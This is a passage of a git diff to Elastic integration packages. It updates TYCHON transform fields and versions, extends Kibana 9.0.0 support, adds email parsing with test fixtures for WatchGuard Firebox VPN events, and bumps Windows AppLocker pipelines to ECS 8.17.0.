a/packages/tychon/elasticsearch/transform/externaldevicecontrol/fields/ecs.yml +++ b/packages/tychon/elasticsearch/transform/externaldevicecontrol/fields/ecs.yml @@ -64,3 +64,5 @@ name: log.file.path - external: ecs name: tags +- external: ecs + name: related.ip diff --git a/packages/tychon/elasticsearch/transform/externaldevicecontrol/transform.yml b/packages/tychon/elasticsearch/transform/externaldevicecontrol/transform.yml index dbac8248a39..1ec156718de 100644 --- a/packages/tychon/elasticsearch/transform/externaldevicecontrol/transform.yml +++ b/packages/tychon/elasticsearch/transform/externaldevicecontrol/transform.yml @@ -15,7 +15,7 @@ source: # that ability in order to prevent having duplicate data and prevent query # time field type conflicts. dest: - index: "logs-tychon_latest.dest_externaldevicecontrol-1" + index: "logs-tychon_latest.dest_externaldevicecontrol-2" aliases: - alias: "logs-tychon_latest.externaldevicecontrol" move_on_creation: true @@ -39,5 +39,5 @@ _meta: managed: false # Bump this version to delete, reinstall, and restart the transform during # package installation. - fleet_transform_version: 1.0.1 + fleet_transform_version: 1.1.0 run_as_kibana_system: false diff --git a/packages/tychon/elasticsearch/transform/features/fields/ecs.yml b/packages/tychon/elasticsearch/transform/features/fields/ecs.yml index 7d45d9509be..bc51fe56fe4 100644 --- a/packages/tychon/elasticsearch/transform/features/fields/ecs.yml +++ b/packages/tychon/elasticsearch/transform/features/fields/ecs.yml @@ -70,3 +70,5 @@ name: package.type - external: ecs name: tags +- external: ecs + name: related.ip diff --git a/packages/tychon/elasticsearch/transform/features/transform.yml b/packages/tychon/elasticsearch/transform/features/transform.yml index 367259ad4b4..c36b97ae592 100644 --- a/packages/tychon/elasticsearch/transform/features/transform.yml +++ b/packages/tychon/elasticsearch/transform/features/transform.yml @@ -15,7 +15,7 @@ source: # that ability in order to prevent having duplicate data and prevent query # time field type conflicts. dest: - index: "logs-tychon_latest.dest_features-1" + index: "logs-tychon_latest.dest_features-2" aliases: - alias: "logs-tychon_latest.features" move_on_creation: true @@ -39,5 +39,5 @@ _meta: managed: false # Bump this version to delete, reinstall, and restart the transform during # package installation. - fleet_transform_version: 1.0.1 + fleet_transform_version: 1.1.0 run_as_kibana_system: false diff --git a/packages/tychon/elasticsearch/transform/harddrive/fields/ecs.yml b/packages/tychon/elasticsearch/transform/harddrive/fields/ecs.yml index 31a7235135f..5cdec45a982 100644 --- a/packages/tychon/elasticsearch/transform/harddrive/fields/ecs.yml +++ b/packages/tychon/elasticsearch/transform/harddrive/fields/ecs.yml @@ -60,3 +60,5 @@ name: log.file.path - external: ecs name: tags +- external: ecs + name: related.ip diff --git a/packages/tychon/elasticsearch/transform/harddrive/transform.yml b/packages/tychon/elasticsearch/transform/harddrive/transform.yml index 724063ddea6..138c9fdd5a8 100644 --- a/packages/tychon/elasticsearch/transform/harddrive/transform.yml +++ b/packages/tychon/elasticsearch/transform/harddrive/transform.yml @@ -15,7 +15,7 @@ source: # that ability in order to prevent having duplicate data and prevent query # time field type conflicts. dest: - index: "logs-tychon_latest.dest_harddrive-1" + index: "logs-tychon_latest.dest_harddrive-2" aliases: - alias: "logs-tychon_latest.harddrive" move_on_creation: true @@ -39,5 +39,5 @@ _meta: managed: false # Bump this version to delete, reinstall, and restart the transform during # package installation. - fleet_transform_version: 1.0.1 + fleet_transform_version: 1.1.0 run_as_kibana_system: false diff --git a/packages/tychon/elasticsearch/transform/hardware/fields/ecs.yml b/packages/tychon/elasticsearch/transform/hardware/fields/ecs.yml index dafa90e8982..105db0e2f56 100644 --- a/packages/tychon/elasticsearch/transform/hardware/fields/ecs.yml +++ b/packages/tychon/elasticsearch/transform/hardware/fields/ecs.yml @@ -66,3 +66,5 @@ name: log.file.path - external: ecs name: tags +- external: ecs + name: related.ip diff --git a/packages/tychon/elasticsearch/transform/hardware/transform.yml b/packages/tychon/elasticsearch/transform/hardware/transform.yml index 8351cb2ff8e..adebabf5456 100644 --- a/packages/tychon/elasticsearch/transform/hardware/transform.yml +++ b/packages/tychon/elasticsearch/transform/hardware/transform.yml @@ -15,7 +15,7 @@ source: # that ability in order to prevent having duplicate data and prevent query # time field type conflicts. dest: - index: "logs-tychon_latest.dest_hardware-1" + index: "logs-tychon_latest.dest_hardware-2" aliases: - alias: "logs-tychon_latest.hardware" move_on_creation: true @@ -39,5 +39,5 @@ _meta: managed: false # Bump this version to delete, reinstall, and restart the transform during # package installation. - fleet_transform_version: 1.0.1 + fleet_transform_version: 1.1.0 run_as_kibana_system: false diff --git a/packages/tychon/elasticsearch/transform/host/fields/ecs.yml b/packages/tychon/elasticsearch/transform/host/fields/ecs.yml index 857122fb420..36626e11ce6 100644 --- a/packages/tychon/elasticsearch/transform/host/fields/ecs.yml +++ b/packages/tychon/elasticsearch/transform/host/fields/ecs.yml @@ -32,3 +32,5 @@ name: log.file.path - external: ecs name: tags +- external: ecs + name: related.ip diff --git a/packages/tychon/elasticsearch/transform/host/transform.yml b/packages/tychon/elasticsearch/transform/host/transform.yml index fb32ac5b45b..d83e6d9a6c6 100644 --- a/packages/tychon/elasticsearch/transform/host/transform.yml +++ b/packages/tychon/elasticsearch/transform/host/transform.yml @@ -15,7 +15,7 @@ source: # that ability in order to prevent having duplicate data and prevent query # time field type conflicts. dest: - index: "logs-tychon_latest.dest_host-1" + index: "logs-tychon_latest.dest_host-2" aliases: - alias: "logs-tychon_latest.host" move_on_creation: true @@ -39,5 +39,5 @@ _meta: managed: false # Bump this version to delete, reinstall, and restart the transform during # package installation. - fleet_transform_version: 1.0.1 + fleet_transform_version: 1.1.0 run_as_kibana_system: false diff --git a/packages/tychon/elasticsearch/transform/networkadapter/fields/ecs.yml b/packages/tychon/elasticsearch/transform/networkadapter/fields/ecs.yml index 2ac6aff0189..db2562fe89e 100644 --- a/packages/tychon/elasticsearch/transform/networkadapter/fields/ecs.yml +++ b/packages/tychon/elasticsearch/transform/networkadapter/fields/ecs.yml @@ -32,3 +32,5 @@ name: log.file.path - external: ecs name: tags +- external: ecs + name: related.ip diff --git a/packages/tychon/elasticsearch/transform/networkadapter/transform.yml b/packages/tychon/elasticsearch/transform/networkadapter/transform.yml index 129312df22a..69aa87c4201 100644 --- a/packages/tychon/elasticsearch/transform/networkadapter/transform.yml +++ b/packages/tychon/elasticsearch/transform/networkadapter/transform.yml @@ -15,7 +15,7 @@ source: # that ability in order to prevent having duplicate data and prevent query # time field type conflicts. dest: - index: "logs-tychon_latest.dest_networkadapter-1" + index: "logs-tychon_latest.dest_networkadapter-2" aliases: - alias: "logs-tychon_latest.networkadapter" move_on_creation: true @@ -39,5 +39,5 @@ _meta: managed: false # Bump this version to delete, reinstall, and restart the transform during # package installation. - fleet_transform_version: 1.0.1 + fleet_transform_version: 1.1.0 run_as_kibana_system: false diff --git a/packages/tychon/elasticsearch/transform/softwareinventory/fields/ecs.yml b/packages/tychon/elasticsearch/transform/softwareinventory/fields/ecs.yml index b4846edeb05..1c3d6ba1689 100644 --- a/packages/tychon/elasticsearch/transform/softwareinventory/fields/ecs.yml +++ b/packages/tychon/elasticsearch/transform/softwareinventory/fields/ecs.yml @@ -76,3 +76,5 @@ name: package.version - external: ecs name: tags +- external: ecs + name: related.ip diff --git a/packages/tychon/elasticsearch/transform/softwareinventory/transform.yml b/packages/tychon/elasticsearch/transform/softwareinventory/transform.yml index 68cccbba47a..c714a0babb4 100644 --- a/packages/tychon/elasticsearch/transform/softwareinventory/transform.yml +++ b/packages/tychon/elasticsearch/transform/softwareinventory/transform.yml @@ -15,7 +15,7 @@ source: # that ability in order to prevent having duplicate data and prevent query # time field type conflicts. dest: - index: "logs-tychon_latest.dest_softwareinventory-1" + index: "logs-tychon_latest.dest_softwareinventory-2" aliases: - alias: "logs-tychon_latest.softwareinventory" move_on_creation: true @@ -39,5 +39,5 @@ _meta: managed: false # Bump this version to delete, reinstall, and restart the transform during # package installation. - fleet_transform_version: 1.0.1 + fleet_transform_version: 1.1.0 run_as_kibana_system: false diff --git a/packages/tychon/elasticsearch/transform/stig/fields/ecs.yml b/packages/tychon/elasticsearch/transform/stig/fields/ecs.yml index 464da8ce398..628c74118ed 100644 --- a/packages/tychon/elasticsearch/transform/stig/fields/ecs.yml +++ b/packages/tychon/elasticsearch/transform/stig/fields/ecs.yml @@ -74,3 +74,5 @@ name: rule.name - external: ecs name: tags +- external: ecs + name: related.ip diff --git a/packages/tychon/elasticsearch/transform/stig/transform.yml b/packages/tychon/elasticsearch/transform/stig/transform.yml index ee2aabde49a..01edc2afd6c 100644 --- a/packages/tychon/elasticsearch/transform/stig/transform.yml +++ b/packages/tychon/elasticsearch/transform/stig/transform.yml @@ -15,7 +15,7 @@ source: # that ability in order to prevent having duplicate data and prevent query # time field type conflicts. dest: - index: "logs-tychon_latest.dest_stig-1" + index: "logs-tychon_latest.dest_stig-2" aliases: - alias: "logs-tychon_latest.stig" move_on_creation: true @@ -39,5 +39,5 @@ _meta: managed: false # Bump this version to delete, reinstall, and restart the transform during # package installation. - fleet_transform_version: 1.0.1 + fleet_transform_version: 1.1.0 run_as_kibana_system: false diff --git a/packages/tychon/elasticsearch/transform/systemcerts/fields/ecs.yml b/packages/tychon/elasticsearch/transform/systemcerts/fields/ecs.yml index f0f7dede28a..f7a8ed20a47 100644 --- a/packages/tychon/elasticsearch/transform/systemcerts/fields/ecs.yml +++ b/packages/tychon/elasticsearch/transform/systemcerts/fields/ecs.yml @@ -106,3 +106,5 @@ name: tags - external: ecs name: url.full +- external: ecs + name: related.ip diff --git a/packages/tychon/elasticsearch/transform/systemcerts/transform.yml b/packages/tychon/elasticsearch/transform/systemcerts/transform.yml index 54dbf998180..c2e448f463b 100644 --- a/packages/tychon/elasticsearch/transform/systemcerts/transform.yml +++ b/packages/tychon/elasticsearch/transform/systemcerts/transform.yml @@ -15,7 +15,7 @@ source: # that ability in order to prevent having duplicate data and prevent query # time field type conflicts. dest: - index: "logs-tychon_latest.dest_systemcerts-1" + index: "logs-tychon_latest.dest_systemcerts-2" aliases: - alias: "logs-tychon_latest.systemcerts" move_on_creation: true @@ -39,5 +39,5 @@ _meta: managed: false # Bump this version to delete, reinstall, and restart the transform during # package installation. - fleet_transform_version: 1.0.1 + fleet_transform_version: 1.1.0 run_as_kibana_system: false diff --git a/packages/tychon/elasticsearch/transform/volume/fields/ecs.yml b/packages/tychon/elasticsearch/transform/volume/fields/ecs.yml index 31a7235135f..5cdec45a982 100644 --- a/packages/tychon/elasticsearch/transform/volume/fields/ecs.yml +++ b/packages/tychon/elasticsearch/transform/volume/fields/ecs.yml @@ -60,3 +60,5 @@ name: log.file.path - external: ecs name: tags +- external: ecs + name: related.ip diff --git a/packages/tychon/elasticsearch/transform/volume/transform.yml b/packages/tychon/elasticsearch/transform/volume/transform.yml index 3719b19a272..d8a1c63398a 100644 --- a/packages/tychon/elasticsearch/transform/volume/transform.yml +++ b/packages/tychon/elasticsearch/transform/volume/transform.yml @@ -15,7 +15,7 @@ source: # that ability in order to prevent having duplicate data and prevent query # time field type conflicts. dest: - index: "logs-tychon_latest.dest_volume-1" + index: "logs-tychon_latest.dest_volume-2" aliases: - alias: "logs-tychon_latest.volume" move_on_creation: true @@ -39,5 +39,5 @@ _meta: managed: false # Bump this version to delete, reinstall, and restart the transform during # package installation. - fleet_transform_version: 1.0.1 + fleet_transform_version: 1.1.0 run_as_kibana_system: false diff --git a/packages/tychon/manifest.yml b/packages/tychon/manifest.yml index 678f6f54bee..363589fbc9a 100644 --- a/packages/tychon/manifest.yml +++ b/packages/tychon/manifest.yml @@ -2,7 +2,7 @@ format_version: 3.2.2 name: tychon type: integration title: "TYCHON Agentless" -version: 0.2.1 +version: "0.3.1" source: license: "Elastic-2.0" description: Collect complete master endpoint datasets including vulnerability and STIG to comply with DISA endpoint requirements and C2C without adding services to your endpoints. @@ -12,7 +12,7 @@ categories: - vulnerability_management conditions: kibana: - version: "^8.14.0" + version: "^8.14.0 || ^9.0.0" elastic: subscription: "basic" capabilities: diff --git a/packages/vectra_detect/changelog.yml b/packages/vectra_detect/changelog.yml index 3c0b8ca54e3..b417583701c 100644 --- a/packages/vectra_detect/changelog.yml +++ b/packages/vectra_detect/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "1.13.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "1.12.1" changes: - description: Updated SSL description to be uniform and to include links to documentation. diff --git a/packages/vectra_detect/manifest.yml b/packages/vectra_detect/manifest.yml index 2a745350118..3732bc868d7 100644 --- a/packages/vectra_detect/manifest.yml +++ b/packages/vectra_detect/manifest.yml @@ -1,7 +1,7 @@ format_version: "3.0.3" name: vectra_detect title: Vectra Detect -version: "1.12.1" +version: "1.13.0" source: license: Elastic-2.0 description: Collect logs from Vectra Detect with Elastic Agent. @@ -9,7 +9,7 @@ type: integration categories: ["security", "network_security"] conditions: kibana: - version: "^8.13.0" + version: "^8.13.0 || ^9.0.0" elastic: subscription: basic screenshots: diff --git a/packages/watchguard_firebox/changelog.yml b/packages/watchguard_firebox/changelog.yml index c55d415e073..dee00e50899 100644 --- a/packages/watchguard_firebox/changelog.yml +++ b/packages/watchguard_firebox/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "1.2.0" + changes: + - description: Support email addresses in 2500-0000 and 2500-0001 events. + type: enhancement + link: https://github.com/elastic/integrations/pull/12909 - version: "1.1.0" changes: - description: ECS version updated to 8.17.0. diff --git a/packages/watchguard_firebox/data_stream/log/_dev/test/pipeline/test-diagnostic.log b/packages/watchguard_firebox/data_stream/log/_dev/test/pipeline/test-diagnostic.log index 374b9b7c9a2..b07f9c2a36f 100644 --- a/packages/watchguard_firebox/data_stream/log/_dev/test/pipeline/test-diagnostic.log +++ b/packages/watchguard_firebox/data_stream/log/_dev/test/pipeline/test-diagnostic.log @@ -175,5 +175,7 @@ <142>May 10 15:19:05 WatchGuard-Firebox FVE6035FD3AE3 (2024-05-10T09:49:05) firewall[10]: msg_id="021A-0020" IKEv2 IKE_AUTH exchange from 81.2.69.144:500 to 81.2.69.144:500 failed. Gateway-Endpoint='m500-197'. Reason=Received message with the wrong interface IP address 81.2.69.144. Expecting peer to use remote gateway endpoint IP address 81.2.69.144. <142>May 10 15:19:05 WatchGuard-Firebox FVE6035FD3AE3 (2024-05-10T09:49:05) firewall[10]: msg_id="2500-0000" Mobile VPN with SSL user tsmith logged in. Virtual IP address is 192.168.113.2. Real IP address is 81.2.69.144. <142>May 10 15:19:05 WatchGuard-Firebox FVE6035FD3AE3 (2024-05-10T09:49:05) firewall[10]: msg_id="2500-0001" Mobile VPN with SSL user tsmith logged off. Virtual IP address is 192.168.113.2. +<142>May 10 15:19:05 WatchGuard-Firebox FVE6035FD3AE3 (2024-05-10T09:49:05) firewall[10]: msg_id="2500-0000" Mobile VPN with SSL user user@example.com logged in. Virtual IP address is 192.168.113.2. Real IP address is 81.2.69.144. +<142>May 10 15:19:05 WatchGuard-Firebox FVE6035FD3AE3 (2024-05-10T09:49:05) firewall[10]: msg_id="2500-0001" Mobile VPN with SSL user user@example.com logged off. Virtual IP address is 192.168.113.2. <142>May 10 15:19:05 WatchGuard-Firebox FVE6035FD3AE3 (2024-05-10T09:49:05) firewall[10]: msg_id="5B01-0004" Updated Mobile VPN with L2TP session for user 'Firebox-DB\test', virtual IP address '192.168.113.2'. <142>May 10 15:19:05 WatchGuard-Firebox FVE6035FD3AE3 (2024-05-10T09:49:05) firewall[10]: msg_id="5B01-0005" Deleted Mobile VPN with L2TP session for user 'Firebox-DB\test', virtual IP address '192.168.113.2'. \ No newline at end of file diff --git a/packages/watchguard_firebox/data_stream/log/_dev/test/pipeline/test-diagnostic.log-expected.json b/packages/watchguard_firebox/data_stream/log/_dev/test/pipeline/test-diagnostic.log-expected.json index 336964e6e7e..cc68e52a366 100644 --- a/packages/watchguard_firebox/data_stream/log/_dev/test/pipeline/test-diagnostic.log-expected.json +++ b/packages/watchguard_firebox/data_stream/log/_dev/test/pipeline/test-diagnostic.log-expected.json @@ -11022,6 +11022,145 @@ } } }, + { + "@timestamp": "2025-05-10T15:19:05.000+05:30", + "destination": { + "ip": "192.168.113.2" + }, + "ecs": { + "version": "8.17.0" + }, + "event": { + "category": [ + "authentication" + ], + "kind": "event", + "original": "<142>May 10 15:19:05 WatchGuard-Firebox FVE6035FD3AE3 (2024-05-10T09:49:05) firewall[10]: msg_id=\"2500-0000\" Mobile VPN with SSL user user@example.com logged in. Virtual IP address is 192.168.113.2. Real IP address is 81.2.69.144.", + "outcome": "success", + "timezone": "+05:30", + "type": [ + "start" + ] + }, + "log": { + "syslog": { + "appname": "firewall", + "hostname": "WatchGuard-Firebox", + "priority": 142, + "procid": "10" + } + }, + "message": "Mobile VPN with SSL user user@example.com logged in. Virtual IP address is 192.168.113.2. Real IP address is 81.2.69.144.", + "observer": { + "hostname": "WatchGuard-Firebox", + "product": "Firebox", + "serial_number": "FVE6035FD3AE3", + "type": "firewall", + "vendor": "WatchGuard" + }, + "related": { + "hosts": [ + "WatchGuard-Firebox" + ], + "ip": [ + "192.168.113.2", + "81.2.69.144" + ], + "user": [ + "user@example.com" + ] + }, + "source": { + "ip": "81.2.69.144" + }, + "tags": [ + "preserve_original_event", + "preserve_duplicate_custom_fields" + ], + "user": { + "email": "user@example.com" + }, + "watchguard_firebox": { + "log": { + "log_type": "diagnostic", + "msg_id": "2500-0000", + "real_ip_address": "81.2.69.144", + "serial_number": "FVE6035FD3AE3", + "syslog_timestamp": "2025-05-10T15:19:05.000+05:30", + "timestamp": "2024-05-10T09:49:05.000Z", + "user_email": "user@example.com", + "virtual_ip_address": "192.168.113.2", + "vpn_user_type": "Mobile VPN with SSL user" + } + } + }, + { + "@timestamp": "2025-05-10T15:19:05.000+05:30", + "destination": { + "ip": "192.168.113.2" + }, + "ecs": { + "version": "8.17.0" + }, + "event": { + "category": [ + "authentication" + ], + "kind": "event", + "original": "<142>May 10 15:19:05 WatchGuard-Firebox FVE6035FD3AE3 (2024-05-10T09:49:05) firewall[10]: msg_id=\"2500-0001\" Mobile VPN with SSL user user@example.com logged off. Virtual IP address is 192.168.113.2.", + "outcome": "success", + "timezone": "+05:30", + "type": [ + "end" + ] + }, + "log": { + "syslog": { + "appname": "firewall", + "hostname": "WatchGuard-Firebox", + "priority": 142, + "procid": "10" + } + }, + "message": "Mobile VPN with SSL user user@example.com logged off. Virtual IP address is 192.168.113.2.", + "observer": { + "hostname": "WatchGuard-Firebox", + "product": "Firebox", + "serial_number": "FVE6035FD3AE3", + "type": "firewall", + "vendor": "WatchGuard" + }, + "related": { + "hosts": [ + "WatchGuard-Firebox" + ], + "ip": [ + "192.168.113.2" + ], + "user": [ + "user@example.com" + ] + }, + "tags": [ + "preserve_original_event", + "preserve_duplicate_custom_fields" + ], + "user": { + "email": "user@example.com" + }, + "watchguard_firebox": { + "log": { + "log_type": "diagnostic", + "msg_id": "2500-0001", + "serial_number": "FVE6035FD3AE3", + "syslog_timestamp": "2025-05-10T15:19:05.000+05:30", + "timestamp": "2024-05-10T09:49:05.000Z", + "user_email": "user@example.com", + "virtual_ip_address": "192.168.113.2", + "vpn_user_type": "Mobile VPN with SSL user" + } + } + }, { "@timestamp": "2025-05-10T15:19:05.000+05:30", "destination": { diff --git a/packages/watchguard_firebox/data_stream/log/elasticsearch/ingest_pipeline/pipeline_diagnostic.yml b/packages/watchguard_firebox/data_stream/log/elasticsearch/ingest_pipeline/pipeline_diagnostic.yml index 19b37883f0a..df7e04de32d 100644 --- a/packages/watchguard_firebox/data_stream/log/elasticsearch/ingest_pipeline/pipeline_diagnostic.yml +++ b/packages/watchguard_firebox/data_stream/log/elasticsearch/ingest_pipeline/pipeline_diagnostic.yml @@ -600,8 +600,8 @@ processors: - grok: field: watchguard_firebox.log.body patterns: - - '^%{DATA:watchguard_firebox.log.vpn_user_type} %{WORD:watchguard_firebox.log.user_name} logged in. Virtual IP address is %{IP:watchguard_firebox.log.virtual_ip_address}. Real IP address is %{IP:watchguard_firebox.log.real_ip_address}.$' - - '^%{DATA:watchguard_firebox.log.vpn_user_type} %{WORD:watchguard_firebox.log.user_name} logged off. Virtual IP address is %{IP:watchguard_firebox.log.virtual_ip_address}.$' + - '^%{DATA:watchguard_firebox.log.vpn_user_type} (?:%{USERNAME:watchguard_firebox.log.user_name}|%{EMAILADDRESS:watchguard_firebox.log.user_email}) logged in. Virtual IP address is %{IP:watchguard_firebox.log.virtual_ip_address}. Real IP address is %{IP:watchguard_firebox.log.real_ip_address}.$' + - '^%{DATA:watchguard_firebox.log.vpn_user_type} (?:%{USERNAME:watchguard_firebox.log.user_name}|%{EMAILADDRESS:watchguard_firebox.log.user_email}) logged off. Virtual IP address is %{IP:watchguard_firebox.log.virtual_ip_address}.$' if: ctx.watchguard_firebox?.log?.msg_id != null && ['2500-0000','2500-0001'].contains(ctx.watchguard_firebox.log.msg_id) tag: grok_for_message_id_2500-0000_2500-0001 ignore_failure: true @@ -1177,6 +1177,11 @@ processors: tag: set_destination_ip_from_log_virtual_ip_address copy_from: watchguard_firebox.log.virtual_ip_address ignore_empty_value: true + - set: + field: user.email + tag: set_user_email_from_log_user_email + copy_from: watchguard_firebox.log.user_email + ignore_empty_value: true - gsub: field: watchguard_firebox.log.mac tag: gsub_watchguard_firebox_log_mac @@ -1283,6 +1288,12 @@ processors: value: '{{{watchguard_firebox.log.user_name}}}' allow_duplicates: false if: ctx.watchguard_firebox?.log?.user_name != null + - append: + field: related.user + tag: append_log_user_email_into_related_user + value: '{{{watchguard_firebox.log.user_email}}}' + allow_duplicates: false + if: ctx.watchguard_firebox?.log?.user_email != null - date: field: watchguard_firebox.log.next_update_time target_field: watchguard_firebox.log.next_update_time @@ -1336,6 +1347,7 @@ processors: - watchguard_firebox.log.server_name - watchguard_firebox.log.source_ip - watchguard_firebox.log.source_port + - watchguard_firebox.log.user_email - watchguard_firebox.log.user_name - watchguard_firebox.log.virtual_ip_address tag: remove_custom_duplicate_fields diff --git a/packages/watchguard_firebox/data_stream/log/fields/fields.yml b/packages/watchguard_firebox/data_stream/log/fields/fields.yml index 1ac4dfa27b2..1ee979f01db 100644 --- a/packages/watchguard_firebox/data_stream/log/fields/fields.yml +++ b/packages/watchguard_firebox/data_stream/log/fields/fields.yml @@ -608,6 +608,8 @@ type: keyword - name: user_domain type: keyword + - name: user_email + type: keyword - name: user_name type: keyword - name: user_response_time diff --git a/packages/watchguard_firebox/docs/README.md b/packages/watchguard_firebox/docs/README.md index e757b331741..3e1f9ac49c3 100644 --- a/packages/watchguard_firebox/docs/README.md +++ b/packages/watchguard_firebox/docs/README.md @@ -555,6 +555,7 @@ An example event for `log` looks as following: | watchguard_firebox.log.updated_role | | keyword | | watchguard_firebox.log.user_auth_protocol | | keyword | | watchguard_firebox.log.user_domain | | keyword | +| watchguard_firebox.log.user_email | | keyword | | watchguard_firebox.log.user_name | | keyword | | watchguard_firebox.log.user_response_time | | date | | watchguard_firebox.log.user_type | | keyword | diff --git a/packages/watchguard_firebox/manifest.yml b/packages/watchguard_firebox/manifest.yml index 4c94474e4bc..2fdf7cd9f9b 100644 --- a/packages/watchguard_firebox/manifest.yml +++ b/packages/watchguard_firebox/manifest.yml @@ -1,7 +1,7 @@ format_version: 3.1.4 name: watchguard_firebox title: WatchGuard Firebox -version: "1.1.0" +version: "1.2.0" description: Collect logs from WatchGuard Firebox with Elastic Agent. type: integration categories: diff --git a/packages/websocket/changelog.yml b/packages/websocket/changelog.yml index c4846b06296..99b1c09dbf7 100644 --- a/packages/websocket/changelog.yml +++ b/packages/websocket/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "0.2.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "0.1.1" changes: - description: Fix broken links for Websocket integration. diff --git a/packages/websocket/manifest.yml b/packages/websocket/manifest.yml index 65535f96fb3..c9f517c2648 100644 --- a/packages/websocket/manifest.yml +++ b/packages/websocket/manifest.yml @@ -1,14 +1,14 @@ format_version: 3.0.2 name: websocket title: Custom Websocket logs -version: 0.1.1 +version: "0.2.0" description: Collect custom events from a socket server with Elastic agent. type: input categories: - custom conditions: kibana: - version: "^8.13.0" + version: "^8.13.0 || ^9.0.0" elastic: subscription: "basic" policy_templates: diff --git a/packages/windows/_dev/build/build.yml b/packages/windows/_dev/build/build.yml index e2b012548e0..97fc8aa10cd 100644 --- a/packages/windows/_dev/build/build.yml +++ b/packages/windows/_dev/build/build.yml @@ -1,3 +1,3 @@ dependencies: ecs: - reference: git@v8.11.0 + reference: git@v8.17.0 diff --git a/packages/windows/changelog.yml b/packages/windows/changelog.yml index 2d7e6169d87..32412683a8e 100644 --- a/packages/windows/changelog.yml +++ b/packages/windows/changelog.yml @@ -1,4 +1,15 @@ # newer versions go on top +- version: "2.5.0" + changes: + - description: Port changes from beats pipelines. + type: enhancement + link: https://github.com/elastic/integrations/pull/12889 + - description: Add constraint for 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12889 + - description: Update to ECS 8.17.0 + type: enhancement + link: https://github.com/elastic/integrations/pull/12889 - version: "2.4.2" changes: - description: Updated SSL description to be uniform and to include links to documentation. diff --git a/packages/windows/data_stream/applocker_exe_and_dll/_dev/test/pipeline/test-events-applocker-exe-8003.json-expected.json b/packages/windows/data_stream/applocker_exe_and_dll/_dev/test/pipeline/test-events-applocker-exe-8003.json-expected.json index 16adb836b22..ff200881e82 100644 --- a/packages/windows/data_stream/applocker_exe_and_dll/_dev/test/pipeline/test-events-applocker-exe-8003.json-expected.json +++ b/packages/windows/data_stream/applocker_exe_and_dll/_dev/test/pipeline/test-events-applocker-exe-8003.json-expected.json @@ -3,7 +3,7 @@ { "@timestamp": "2023-07-20T15:05:03.882Z", "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "category": [ @@ -94,4 +94,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/windows/data_stream/applocker_exe_and_dll/elasticsearch/ingest_pipeline/default.yml b/packages/windows/data_stream/applocker_exe_and_dll/elasticsearch/ingest_pipeline/default.yml index d3ae084d0eb..cbe7664dab8 100644 --- a/packages/windows/data_stream/applocker_exe_and_dll/elasticsearch/ingest_pipeline/default.yml +++ b/packages/windows/data_stream/applocker_exe_and_dll/elasticsearch/ingest_pipeline/default.yml @@ -5,7 +5,7 @@ processors: - set: field: ecs.version - value: '8.0.0' + value: '8.17.0' - set: field: log.level copy_from: winlog.level diff --git a/packages/windows/data_stream/applocker_exe_and_dll/manifest.yml b/packages/windows/data_stream/applocker_exe_and_dll/manifest.yml index 9194a65e230..39c609d39c5 100644 --- a/packages/windows/data_stream/applocker_exe_and_dll/manifest.yml +++ b/packages/windows/data_stream/applocker_exe_and_dll/manifest.yml @@ -1,5 +1,14 @@ type: logs title: 'Windows AppLocker/EXE and DLL logs' +elasticsearch: + index_template: + mappings: + dynamic_templates: + - override_ignore_above: + match_mapping_type: string + mapping: + type: keyword + ignore_above: 2048 streams: - input: winlog enabled: false diff --git a/packages/windows/data_stream/applocker_msi_and_script/_dev/test/pipeline/test-events-applocker-msi-and-script-8006.json-expected.json b/packages/windows/data_stream/applocker_msi_and_script/_dev/test/pipeline/test-events-applocker-msi-and-script-8006.json-expected.json index 49d441e061c..d1b2adcabf1 100644 --- a/packages/windows/data_stream/applocker_msi_and_script/_dev/test/pipeline/test-events-applocker-msi-and-script-8006.json-expected.json +++ b/packages/windows/data_stream/applocker_msi_and_script/_dev/test/pipeline/test-events-applocker-msi-and-script-8006.json-expected.json @@ -3,7 +3,7 @@ { "@timestamp": "2023-08-04T21:26:32.757Z", "ecs": { - "version": "8.9.0" + "version": "8.17.0" }, "event": { "category": [ @@ -97,4 +97,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/windows/data_stream/applocker_msi_and_script/elasticsearch/ingest_pipeline/default.yml b/packages/windows/data_stream/applocker_msi_and_script/elasticsearch/ingest_pipeline/default.yml index 548673541c1..4bc04615ad2 100644 --- a/packages/windows/data_stream/applocker_msi_and_script/elasticsearch/ingest_pipeline/default.yml +++ b/packages/windows/data_stream/applocker_msi_and_script/elasticsearch/ingest_pipeline/default.yml @@ -5,7 +5,7 @@ processors: - set: field: ecs.version - value: '8.9.0' + value: '8.17.0' - set: field: log.level copy_from: winlog.level diff --git a/packages/windows/data_stream/applocker_msi_and_script/manifest.yml b/packages/windows/data_stream/applocker_msi_and_script/manifest.yml index 4f1e602b8f8..cd92d720a1a 100644 --- a/packages/windows/data_stream/applocker_msi_and_script/manifest.yml +++ b/packages/windows/data_stream/applocker_msi_and_script/manifest.yml @@ -1,5 +1,14 @@ type: logs title: 'Windows AppLocker/MSI and Script logs' +elasticsearch: + index_template: + mappings: + dynamic_templates: + - override_ignore_above: + match_mapping_type: string + mapping: + type: keyword + ignore_above: 2048 streams: - input: winlog enabled: false diff --git a/packages/windows/data_stream/applocker_packaged_app_deployment/_dev/test/pipeline/test-events-microsoft-windows-applocker-packaged-app-deployment.json-expected.json b/packages/windows/data_stream/applocker_packaged_app_deployment/_dev/test/pipeline/test-events-microsoft-windows-applocker-packaged-app-deployment.json-expected.json index 2dead35932d..12254077575 100644 --- a/packages/windows/data_stream/applocker_packaged_app_deployment/_dev/test/pipeline/test-events-microsoft-windows-applocker-packaged-app-deployment.json-expected.json +++ b/packages/windows/data_stream/applocker_packaged_app_deployment/_dev/test/pipeline/test-events-microsoft-windows-applocker-packaged-app-deployment.json-expected.json @@ -3,7 +3,7 @@ { "@timestamp": "2023-08-15T14:12:32.680Z", "ecs": { - "version": "8.9.0" + "version": "8.17.0" }, "event": { "category": [ @@ -92,4 +92,4 @@ } } ] -} \ No newline at end of file +} diff --git 